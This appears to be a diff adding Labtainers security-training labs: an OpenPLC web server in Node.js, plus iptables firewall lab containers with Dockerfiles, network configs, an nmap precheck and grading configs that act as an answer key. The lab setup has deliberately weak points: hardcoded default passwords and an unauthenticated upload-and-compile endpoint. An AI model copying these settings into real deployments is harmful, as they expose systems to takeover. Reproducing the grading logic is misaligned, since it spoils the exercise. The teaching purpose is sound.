ERR_ILLEGAL_FUNCTION); + } + + return MessageLength; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js new file mode 100644 index 000000000..c24cb4812 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js @@ -0,0 +1,476 @@ +var express = require("express"); +var multer = require('multer'); +var app = express(); +var upload = multer({ dest: './st_files/'}); +var spawn = require('child_process').spawn; +var plcLog = ''; + +var openplc = spawn('./core/openplc'); +openplc.stdout.on('data', function(data) +{ + plcLog += data; + plcLog += '\r\n'; +}); +openplc.stderr.on('data', function(data) +{ + plcLog += data; + plcLog += '\r\n'; +}); +openplc.on('close', function(code) +{ + plcLog += 'OpenPLC application terminated\r\n'; +}); + +var plcRunning = true; +var compilationOutput = ''; +var compilationEnded = false; +var compilationSuccess = false; +var uploadedFileName = ''; +var uploadedFilePath = ''; + +app.use(multer({ dest: './st_files/', + rename: function (fieldname, filename) + { + return filename; + }, + onFileUploadStart: function (file) + { + console.log(file.originalname + ' is starting ...'); + }, + onFileUploadComplete: function (file) + { + uploadedFileName = file.originalname; + uploadedFilePath = file.path; + } +})); + +app.get('/',function(req,res) +{ + showMainPage(req,res); +}); + +app.get('/run',function(req,res) +{ + if (plcRunning == false) + { + console.log('Starting OpenPLC Software... UniqueID'); + plcLog = 'Starting OpenPLC Application...\r\n'; + openplc = spawn('./core/openplc'); + openplc.stdout.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.stderr.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.on('close', function(code) + { + plcLog += 'OpenPLC application terminated\r\n'; + }); + + plcRunning = true; + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); +}); + +app.get('/stop',function(req,res) +{ + if (plcRunning == true) + { + console.log('Stopping OpenPLC Software... UniqueID'); + openplc.kill('SIGTERM'); + plcRunning = false; + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); +}); + +app.post('/api/upload',function(req,res) +{ + console.log('Uploading file ... UniqueID'); + upload(req,res,function(err) + { + if(err) + { + return res.end("Error uploading file."); + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); + + console.log(uploadedFileName + ' uploaded to ' + uploadedFilePath); + console.log('finishing old program...'); + openplc.kill('SIGTERM'); + plcRunning = false; + compilationOutput = ''; + compilationEnded = false; + compilationSuccess = false; + compileProgram(uploadedFileName); + }); +}); + +app.post('/api/changeModbusCfg',function(req,res) +{ + upload(req,res,function(err) + { + if(err) + { + return res.end("Error uploading file."); + } + + var htmlString = '\ + \ + \ +
\ + \ + \ + \ +
\ + \ +

OpenPLC Server

\ +


Modbus configuration file uploaded

\ + \ + '; + + res.send(htmlString); + + var mover = spawn('mv', ['-f', './st_files/' + uploadedFileName, './core/mbconfig.cfg']); + mover.on('close', function(code) + { + if (code != 0) + { + console.log('error moving modbus config file'); + } + }); + var copier = spawn('cp', ['-f', './core/mbconfig.cfg', './']); + copier.on('close', function(code) + { + if (code != 0) + { + console.log('error copying modbus config file'); + } + }); + }); +}); + +app.listen(8080,function() +{ + console.log("Working on port 8080 UniqueID"); +}); + +app.get('/viewLogs',function(req,res) +{ + var htmlString = '\ + \ + \ +
\ + \ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +
\ +

'; + htmlString += plcLog; + htmlString += '\ +

\ +
\ + \ + '; + + htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); + res.send(htmlString); +}); + +app.get('/uploadStatus',function(req,res) +{ + var htmlString = '\ + \ + \ +
'; + if (!compilationEnded) + { + htmlString += ''; + } + htmlString += '\ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +


'; + if (compilationEnded) + { + if (compilationSuccess) + { + htmlString += 'Program compiled without errors!

'; + } + else + { + htmlString += 'Error compiling program. Please check console log.

'; + } + } + else + { + htmlString += 'Uploading program...

'; + } + htmlString += '\ +
\ +

'; + htmlString += compilationOutput; + htmlString += '\ +

\ +
\ + \ + '; + + htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); + res.send(htmlString); +}); + +function showMainPage(req,res) +{ + var htmlString = '\ + \ + \ +
\ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +

Labtainerized UniqueID

'; + if (plcRunning == true) + { + htmlString += '


Current PLC Status: Running

'; + } + else + { + htmlString += '


Current PLC Status: Stopped

'; + } + htmlString += '\ +
\ +
\ + \ + \ +
\ +
\ +
\ + \ +
\ +


\ +

Change PLC Program

\ +
\ +
\ +
\ + \ + \ +
\ +
\ +


\ +

Change Modbus Master Configuration

\ +

Changing this only have effect if OpenPLC is using the Modbus Master Driver

\ +
\ +
\ +
\ + \ + \ +
\ +
\ + \ + '; + + res.send(htmlString); +} + +function compileProgram(fileName) +{ + console.log('compiling new program...'); + compilationOutput += 'compiling new program...\r\n'; + var compiler = spawn('./iec2c', ['./st_files/' + fileName]); + + compiler.stdout.on('data', function(data) + { + console.log('' + data); + compilationOutput += data; + compilationOutput += '\r\n'; + }); + compiler.stderr.on('data', function(data) + { + console.log('' + data); + compilationOutput += data; + compilationOutput += '\r\n'; + }); + compiler.on('close', function(code) + { + if (code != 0) + { + console.log('Error compiling program. Please check console log'); + compilationOutput += 'Error compiling program. Please check console log\r\n'; + compilationEnded = true; + } + else + { + console.log('Program compiled successfully'); + compilationOutput += 'Program compiled successfully\r\n'; + moveFiles(); + } + }); +} + +function moveFiles() +{ + console.log('moving files...'); + compilationOutput += 'moving files...\r\n'; + var copier = spawn('mv', ['-f', 'POUS.c', 'POUS.h', 'LOCATED_VARIABLES.h', 'VARIABLES.csv', 'Config0.c', 'Config0.h', 'Res0.c', './core/']); + copier.on('close', function(code) + { + if (code != 0) + { + console.log('error moving files'); + compilationOutput += 'error moving files\r\n'; + compilationEnded = true; + } + else + { + compileOpenPLC(); + } + }); +} + +function compileOpenPLC() +{ + console.log('compiling OpenPLC...'); + compilationOutput += 'compiling OpenPLC...\r\n'; + + var exec = require('child_process').exec; + exec('./build_core.sh', function(error, stdout, stderr) + { + console.log('stdout: ' + stdout); + console.log('stderr: ' + stderr); + compilationOutput += stdout + '\r\n'; + compilationOutput += stderr + '\r\n'; + if (error !== null) + { + console.log('exec error: ' + error); + console.log('error compiling OpenPLC. Please check your program'); + compilationOutput += 'exec error: ' + error + '\r\n'; + compilationOutput += 'error compiling OpenPLC. Please check your program\r\n'; + } + else + { + console.log('compiled without errors'); + compilationOutput += 'compiled without errors\r\n'; + console.log('Starting OpenPLC Software...'); + plcLog = 'Starting OpenPLC Application...\r\n'; + openplc = spawn('./core/openplc'); + openplc.stdout.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.stderr.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.on('close', function(code) + { + plcLog += 'OpenPLC application terminated\r\n'; + }); + + plcRunning = true; + compilationSuccess = true; + } + compilationEnded = true; + }); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/auth.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/auth.list new file mode 100644 index 000000000..87e550924 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/auth.list @@ -0,0 +1 @@ +Guest:guest diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/authfile.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/authfile.list new file mode 100644 index 000000000..ccfdd121c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/authfile.list @@ -0,0 +1,3 @@ +services.html +network.html +editusers.html diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/www/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/www/index.html new file mode 100644 index 000000000..39137e049 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/www/index.html @@ -0,0 +1,7 @@ + +PLC HTTP SERVER + +

Watch this space!

+
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest new file mode 100644 index 000000000..93b11992e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest @@ -0,0 +1 @@ +softplc:softplc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/precheck.sh new file mode 100755 index 000000000..248dafe7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/precheck.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash + +# precheck.sh +# Description: +# This file should contain checks for local settings (such as sysctl) +# specific for each lab. The resulting output will go into the +# precheck.stdout.timestamp file +# +# Run nmap on port 2023 - the 'other' telnet +nmap -n -p2023 172.25.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/treataslocal new file mode 100644 index 000000000..bcf71275b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/etc/rc.local new file mode 100755 index 000000000..98a2c9fdf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.25.0.0/24 gw 172.24.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/client/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/about.txt new file mode 100644 index 000000000..5f7214f30 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/about.txt @@ -0,0 +1 @@ +Configure a "firewall" component using iptables to only forward selected services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/parameter.config new file mode 100644 index 000000000..e419a96da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Lab Designer User Guide +# +DIGESTFILE : HASH_REPLACE : server:/home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/start.config new file mode 100644 index 000000000..d998c8743 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/start.config @@ -0,0 +1,51 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED iptables_mike_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK CLIENT_NET + MASK 172.24.0.0/24 + GATEWAY 172.24.0.101 +NETWORK SERVER_NET + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER client + # user name of user who interacts with the container. + USER ubuntu + CLIENT_NET 172.24.0.2 +CONTAINER server + # user name of user who interacts with the container. + USER ubuntu + SERVER_NET 172.25.0.3 + TERMINALS 1 +CONTAINER firewall + # user name of user who interacts with the container. + USER ubuntu + SERVER_NET 172.25.0.4 + CLIENT_NET 172.24.0.4 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/version b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/version new file mode 100644 index 000000000..f40c026b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/config/version @@ -0,0 +1 @@ +iptables 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.client.student new file mode 100644 index 000000000..850a25c0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.client.student @@ -0,0 +1,30 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.firewall.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.firewall.student new file mode 100644 index 000000000..1728ed0db --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.firewall.student @@ -0,0 +1,27 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.server.student new file mode 100644 index 000000000..4006cf04b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/dockerfiles/Dockerfile.iptables.server.student @@ -0,0 +1,30 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnetd +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:gummybear" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/firewall/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/goals.config new file mode 100644 index 000000000..959bb7a6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/goals.config @@ -0,0 +1,14 @@ +# goals.config +# +# Please see the Labtainer Lab Designer Guide +# +# results of nmap should show ssh & http, but not telnet +# +_ssh = matchany : string_equal : ssh_open : answer=open +_http = matchany : string_equal : http_open : answer=open +_telnet = matchany : string_equal : telnet_open : answer=open +_telnetx = matchany : string_equal : telnetx_open : answer=open +# DOC: ssh & http were open, telnet closed +ports_ok = boolean : ( _ssh and _http and_not _telnet ) +# DOC: blocked other, unknown ports +no_telnetx = boolean : ( _ssh and _http and_not _telnet and_not _telnetx ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/results.config new file mode 100644 index 000000000..b7e860c7b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer Guide +# +# nmap results, note which ports are open +# +ssh_open = client:nmap.stdout : 2 : STARTSWITH : 22/tcp +http_open = client:nmap.stdout : 2 : STARTSWITH : 80/tcp +telnet_open = client:nmap.stdout : 2 : STARTSWITH : 23/tcp +telnetx_open = client:precheck.stdout : 2 : STARTSWITH : 2023/tcp diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_bin/fixlocal.sh new file mode 100755 index 000000000..e897ae431 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/rc.local new file mode 100755 index 000000000..5c8829bda --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to client +route add -net 172.24.0.0/24 gw 172.25.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/services new file mode 100644 index 000000000..9901fb01b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/services @@ -0,0 +1,613 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +telnetx 2023/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS 